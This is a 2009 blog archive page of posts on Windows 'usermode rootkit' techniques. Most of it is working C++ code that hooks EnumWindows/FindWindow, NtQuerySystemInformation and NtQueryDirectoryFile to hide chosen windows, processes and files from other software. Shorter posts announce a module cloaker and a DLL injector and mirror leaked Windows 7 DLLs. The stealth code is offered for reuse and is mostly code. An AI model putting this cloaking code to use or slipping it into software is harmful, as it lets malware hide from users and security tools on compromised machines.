Archive

Archive for April, 2009

Usermode Window Hiding

April 30th, 2009

Yet another example of usermode rootkit tech. This one is designed to hide windows. One very important note for this is that the Enum* collection of hooks are NOT thread safe. It’s not hard to do, but I have decided to omit that for personal reasons.

// Hook EnumWindows
APIHook g_EnumWindows(”user32.dll”, “EnumWindows”, (PROC) EnumWindows_Hook);
// Hook EnumChildWindows
APIHook g_EnumChildWindows(”user32.dll”, “EnumChildWindows”, (PROC) EnumChildWindows_Hook);
// Hook EnumThreadWindows
APIHook g_EnumThreadWindows(”user32.dll”, “EnumThreadWindows”, (PROC) EnumThreadWindows_Hook);

// Hook FindWindowA
APIHook g_FindWindowA(”user32.dll”, “FindWindowA”, (PROC) FindWindowA_Hook);
// Hook FindWindowW
APIHook g_FindWindowW(”user32.dll”, “FindWindowW”, (PROC) FindWindowW_Hook);
// Hook FindWindowExA
APIHook g_FindWindowExA(”user32.dll”, “FindWindowExA”, (PROC) FindWindowExA_Hook);
// Hook FindWindowExW
APIHook g_FindWindowExW(”user32.dll”, “FindWindowExW”, (PROC) FindWindowExW_Hook);

WNDENUMPROC EnumCallback = NULL;
WNDENUMPROC EnumChildCallback = NULL;
WNDENUMPROC EnumThreadCallback = NULL;

BOOL CALLBACK EnumWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumCallback(hwnd, lParam);
}

BOOL CALLBACK EnumChildWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumChildWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumChildCallback(hwnd, lParam);
}

BOOL CALLBACK EnumThreadWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumThreadWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumThreadCallback(hwnd, lParam);
}

BOOL WINAPI EnumWindows_Hook(WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumCallback = lpEnumFunc;
return ((tEnumWindows)(PROC)(g_EnumWindows))(EnumWindowsFilterProc,lParam);
}

BOOL WINAPI EnumChildWindows_Hook(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumChildCallback = lpEnumFunc;
return ((tEnumChildWindows)(PROC)(g_EnumChildWindows))(hWndParent,EnumChildWindowsFilterProc,lParam);
}

BOOL WINAPI EnumThreadWindows_Hook(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam)
{
EnumThreadCallback = lpfn;
return ((tEnumThreadWindows)(PROC)(g_EnumThreadWindows))(dwThreadId,EnumThreadWindowsFilterProc,lParam);
}

HWND WINAPI FindWindowA_Hook(LPCSTR lpClassName,LPCSTR lpWindowName)
{
try
{
SehGuard Guard;

if ((lpClassName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}

return ((tFindWindowA)(PROC)(g_FindWindowA))(lpClassName,lpWindowName);
}

HWND WINAPI FindWindowW_Hook(LPCWSTR lpClassName, LPCWSTR lpWindowName)
{
try
{
SehGuard Guard;

if ((lpWindowName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowW)(PROC)(g_FindWindowW))(lpClassName,lpWindowName);
}

HWND WINAPI FindWindowExA_Hook(HWND hWndParent, HWND hWndChildAfter, LPCSTR lpszClass,
LPCSTR lpszWindow)
{
try
{
SehGuard Guard;

if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExA)(PROC)(g_FindWindowExA))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}

HWND WINAPI FindWindowExW_Hook(HWND hWndParent,HWND hWndChildAfter, LPCWSTR lpszClass,
LPCWSTR lpszWindow)
{
try
{
SehGuard Guard;

if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExW)(PROC)(g_FindWindowExW))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}

Notes:

  • Would love to hear comments/suggestions
  • There are some minor bugs you’ll need to take care of if you want to use this in a production environment
  • Not thread safe

Usermode File Hiding

April 27th, 2009

Another snippet from one of my projects. This time designed to hide processes by name.

Tested and working on both x86 and x64. Again, actual implementation of hooking engine and undocumented structures is left as an exercise to the reader.

// Detour function for NtQuerySystemInformation
// TODO: Add extra checks and cloaks for other information than processes (debuggers,
// etc)
// TODO: Fix return value in cases where all processes are hidden (with exception,
// see notes)
// TODO: Add logging for any unknown system information classes that aren’t being
// specifically ignored
// Note: Do not totally unlink all processes, as long as System Idle Process is left
// on everything is fine, but if you remove that the system will likely crash
// TODO: Fix the detection hole in the couple of classes that can still enumerate
// processes but that aren’t being handled.
NTSTATUS WINAPI NtQuerySystemInformation_Hook(
__in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout    PVOID SystemInformation,
__in       ULONG SystemInformationLength,
__out_opt  PULONG ReturnLength)
{
// Call the original function to get the data we need
NTSTATUS RetVal = ((tNtQuerySystemInformation)(PROC)(g_NtQuerySystemInformation))(SystemInformationClass,
SystemInformation, SystemInformationLength, ReturnLength);

// Make sure we’re working with valid and expected data
if (RetVal != STATUS_SUCCESS)
return RetVal;

// SPI structure pointers to manipulate the ‘linked list’ with.
PSYSTEM_PROCESS_INFORMATION_C pSpiCurrent = 0, pSpiPrevious = 0;

switch (static_cast<SYSTEM_INFORMATION_CLASS_C>(SystemInformationClass))
{
case SystemProcessInformation_C:
// Set the pointers to their defaults
pSpiCurrent = pSpiPrevious = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION_C>(SystemInformation);
break;
case SystemSessionProcessesInformation_C:
// Set the pointers to their defaults
pSpiCurrent = pSpiPrevious = reinterpret_cast<PSYSTEM_SESSION_PROCESS_INFORMATION_C>(SystemInformation)->Buffer;
break;
default:
return RetVal;
}

// Just run until we run out of processes to process.
for (;;)
{
// Get process name
PWSTR ImageName = pSpiCurrent->ImageName.Buffer;
std::wstring ProcessName(ImageName ? ImageName : L”");
// Convert to lowercase for case insensitive compares
std::transform(ProcessName.begin(),ProcessName.end(),ProcessName.begin(),tolower);

// Check if the process should be cloaked
if (Config::Get()->ShouldHideProcess(ProcessName))
{
// Debug output
WDBGOUT(L”NtQuerySystemInformation called! Hiding process: \”"
<< ProcessName << L”\”.”);

// Check if we hit the end of the list
if (pSpiCurrent->NextEntryOffset == 0)
{
// End of list
// Unlink process
pSpiPrevious->NextEntryOffset = 0;
break;
}
else
{
// Not end of list
// Unlink process
pSpiPrevious->NextEntryOffset +=
pSpiCurrent->NextEntryOffset;
}
}
else
{
// Process should not be cloaked

// Check if we hit the end of the list
if (pSpiCurrent->NextEntryOffset == 0)
break;

// Set pointer ready for next iteration
pSpiPrevious = pSpiCurrent;
}

// Move to next process
pSpiCurrent =
reinterpret_cast<PSYSTEM_PROCESS_INFORMATION_C>(
reinterpret_cast<PBYTE>(pSpiCurrent) +
pSpiCurrent->NextEntryOffset);
}

// Return the value from the trampoline.
// TODO: This could potentially cause problems if ALL processes are hidden.
// Although this should NEVER happen its still a concern. Reverse the appropriate
// return code and implement. Priority: 5
return RetVal;
}

Notes:

  • WDBGOUT is a logging macro, feel free to remove the lines using it or provide your own implementation, it won’t break anything.
  • Minor bugs and flaws. Most are outlined in the comments, a couple were omitted, finding and fixing them is again left as an exercise for the reader.
  • If you find any bugs or have any comments I’d love to hear them.

How-To: Waste 10 minutes of your life

April 26th, 2009

Just had an epic fail moment I wanted to share, the type of moment where a realisation hits you like a fucking train and you just wanna kick yourself for not thinking of it.

I was working on an API hooking library (address-table based hooking) and I hook GetProcAddress mainly because I want to log indirect API calls, and partly because EAT hooking isn’t working 100% yet (due to design details which are beyond the scope of this post). I wanted to drop the hook to a lower level so I hooked LdrGetProcedureAddress because that’s the routine that GetProcAddress calls to do the actual work. I then looked at the implementation of LdrGetProcedureAddress and saw that it in turn called LdrGetProcedureAddresEx. Great, I thought, I’ll hook that. Only the hook didn’t ever get called.

Because I had previously always used code hooking I assumed that something funny was going on and that I must have screwed something up. After 10 minutes of rewriting large chunks of code to add debugging information I realised something. It’s an IAT hook, the LdrGetProcedureAddress hook works because GetProcAddress imports that function from NTDLL. LdrGetProcedureAddress however calls LdrGetProcedureAddressEx directly and NTDLL doesn’t import anything because it doesn’t have to, it’s the top of the usermode food chain (so to speak).

Obviously the only way to hook that function is with an EAT hook, so I guess now I HAVE to get that working.

*grumble*

Usermode File Hiding

April 25th, 2009

This is just a small snippet from one of my projects, designed to hide the presence of specific files at a process-local usermode level. It works by detouring NtQueryDirectoryFile in ntdll.dll (implementation of a detour engine is left as an exercise for the reader) and unlinking files from the linked list by their name.

Code tested and working on both x86 and x64 builds of Windows (Vista x86, Server 2008 x64).

// Generic file hiding function. Takes a pointer to a known file information
// linked list and unlinks (hides) arbitrary files
template <typename T>
void UnlinkFileEntries(PVOID pTemp)
{
// Pointers to the linked list
T* pCurrent = static_cast<T*>(pTemp);
T* pPrev = static_cast<T*>(pTemp);

// Loop until there are no more files to process
for (;;)
{
// Wide string to store the file name (initialized in case the given
// file name in the structure is empty or otherwise invalid)
std::wstring FileName(L”");
// Set the file name string to the string in the structure if it’s valid.
// Buffer not guaranteed to be zero terminated so the string length in
// the structure needs to be used (size is stored in bytes not chars)
if (pCurrent->FileNameLength)
FileName = std::wstring(pCurrent->FileName,pCurrent->FileNameLength / 2);
// Make checks case insensitive
std::transform(FileName.begin(),FileName.end(),FileName.begin(),tolower);

// Check if file should be hidden
if (Config::Get()->ShouldHideFile(FileName))
{
// Debug output
WDBGOUT(L”NtQueryDirectoryFile called! Hiding file: \”" << FileName
<< L”\”.”);

// Check for EOL
if (pCurrent->NextEntryOffset == 0)
{
// Hide file
pPrev->NextEntryOffset = pCurrent->NextEntryOffset;
// No files left to process
break;
}
else
{
// Hide file
pPrev->NextEntryOffset += pCurrent->NextEntryOffset;
}
}
else
{
// Check for EOL
if (pCurrent->NextEntryOffset == 0)
{
// No Files left to process
break;
}

// Next file
pPrev = pCurrent;
}

// Next file
pCurrent = reinterpret_cast<T*>(reinterpret_cast<PBYTE>(pCurrent)
+ pCurrent->NextEntryOffset);
}
}

// Detour function for NtQueryDirectoryFile.
// TODO: Add code to log any unknown file information classes (i.e. ones not
// being specifically ignored)
// TODO: Fix return value in cases where all the files on the list are hidden
NTSTATUS NTAPI NtQueryDirectoryFile_Hook(IN HANDLE FileHandle,
IN HANDLE EventHandle OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan)
{
// Call the original function to get the needed data
NTSTATUS RetVal = ((tNtQueryDirectoryFile)(PROC)(g_NtQueryDirectoryFile))(FileHandle,EventHandle,ApcRoutine,
ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,
ReturnSingleEntry,FileName,RestartScan);

// If function fails don’t bother trying to use the data
if (RetVal != STATUS_SUCCESS)
return RetVal;

// Handle all known and relevant file information classes and unlink
// any entries that shouldn’t be seen.
switch (static_cast<FILE_INFORMATION_CLASS_C>(FileInformationClass))
{
case FileDirectoryInformation_C:
UnlinkFileEntries<FILE_DIRECTORY_INFORMATION_C>(FileInformation);
break;

case FileFullDirectoryInformation_C:
UnlinkFileEntries<FILE_FULL_DIRECTORY_INFORMATION_C>(FileInformation);
break;

case FileBothDirectoryInformation_C:
UnlinkFileEntries<FILE_BOTH_DIRECTORY_INFORMATION_C>(FileInformation);
break;

case FileNamesInformation_C:
UnlinkFileEntries<FILE_NAMES_INFORMATION_C>(FileInformation);
break;

case FileIdBothDirectoryInformation_C:
UnlinkFileEntries<FILE_ID_BOTH_DIR_INFO>(FileInformation);
break;

default:
break;
}

// Return value from trampoline
return RetVal;
}

Notes:

  • Still needs minor improvements, but should be a decent starting ground for most.
  • WDBGOUT is a macro, feel free to remove the lines using it or provide your own implementation, it won’t break anything.
  • If you find any bugs or have any comments I’d love to hear them.
  • To use the code you will need to provide your own implementation of the required (undocumented) enums and structures.

Windows 7 RC1 Binaries

April 25th, 2009

As everyone probably already knows, the Windows 7 release candidate was leaked to the interwebs (build 7100). Because I’m an Australian and our technology infrastructure is 5 years behind the rest of the western world I can’t grab the builds straight away due to caps on internet usage and whatnot.

Thanks to though I don’t have to. He was kind enough to rip the binaries I was interested in from the x64 build and send them to me. I figured they might be of use to other people too (there’s quite a few changes you’ll need to be aware of if you’re doing heavy API hooking like I am) so I’ve mirrored them to a public link. All credits to maclone for actually pulling these out for me.

N/A

Included is both the x86 and x64 versions of Kernel32.dll, Ntdll.dll, User32.dll, and KernelBase.dll (new in Windows 7 — along with a handful of other Kernel32 sub-binaries which I did not request).

Anyway, this is just a quick post so people can avoid downloading the entire OS unnecessarily if they’re like me and just need a handful of DLLs.

A more interesting post should be incoming today or tomorrow where I’ll be posting usermode rootkit code.

Module Cloaker v2

April 24th, 2009

Recently I’ve been working on rewriting all of my usermode rootkit code and adding a lot more features to it. The biggest change I want to make (other than adding support for hiding more types of data) is x64 support. So far I have x64 support for the loader, file cloaking, process cloaking, window cloaking, and module cloaking. I may release some of those code for these features, but not yet, still lots more potential bugs that need fixing.

I figured an upgraded module cloaker would be of use to some. There’s no explicit license attached to it, but if you do choose to use it then it must be for non-commercial purposes ONLY. Credits would be appreciated but are not mandatory.

Tested and working on Windows Server 2008 x64 and Windows Vista x86. Should work from XP -> 7 (the last version did and very little has changed across those versions in terms of what I’m modifying). Along with x64 support I also updated the class to support both Unicode and MBCS, so if that was an issue for you with the last version, you’ll be glad to know its (hopefully) gone (I say hopefully because MBCS is not extensively tested, but if you find a bug let me know and I’ll fix it).

There’ s still lots more to work on,  so I may release an update in a few weeks, then again I’ve got lots of other stuff that also needs improvements so don’t hold your breath. As Blizzard would say, it will be ready “soon”.

(In case you didn’t get the joke

Download:

N/A Cloaker v20090424a

DLL Injector

April 21st, 2009

Figured I’d release the current build of my loader for an internal project I’m working on:

Compiled and working on both IA-32 and AMD64.
Compiled and working with both Unicode and MBCS/ASCII compiler flags. (Defaults to Unicode for obvious reasons.)

Also supports unloading the module.

Code is written in C++ with full exception handling (none of this annoying C-based return value checking crap).

Only tested on MSVC++. Visual Studio 2008 project files supplied.

Note: The AMD64 version can only inject into AMD64 processes, and the IA-32 version can only inject into IA-32 processes.  It is possible to inject into IA-32 from AMD64 but I didn’t bother because I needed an IA-32 version anyway and the code is much cleaner if I don’t have to support that.

Furthermore, don’t touch the EH compiler settings, they’re set the way they are for a reason and the code won’t work properly if you change it. If you modify it then you can’t mix SEH and C++ EH and so all the SehGuard code will fail and you won’t be able to proxy SEH to C++ EH. In short: If you don’t know what it does, just leave it alone.

Pretty much all the code should be documented but I might have missed some (I didn’t check). It should be very easy to follow though for any Windows programmer.

Obviously you’ll need to change the module name to the name of your module.

Credits:
Kynox
Greyman
Jeffrey M Richter / Christophe Nasarre
jaredpar
All of GD
Anyone I forgot (let me know)

Download:

Injector v20090421a no longer available
nor Injector v20090421b (Thanks Patrick! <3)

Update

April 21st, 2009

Wiped the entire directory caus I’m too lazy to fix the iframe problem people kept complaining about.

All the downloads were linked to my Dropbox account from memory so it shouldn’t matter. If there’s anything that needs reposting though let me know in the comments.

Author: Cypherjb Categories: Site News Tags: ,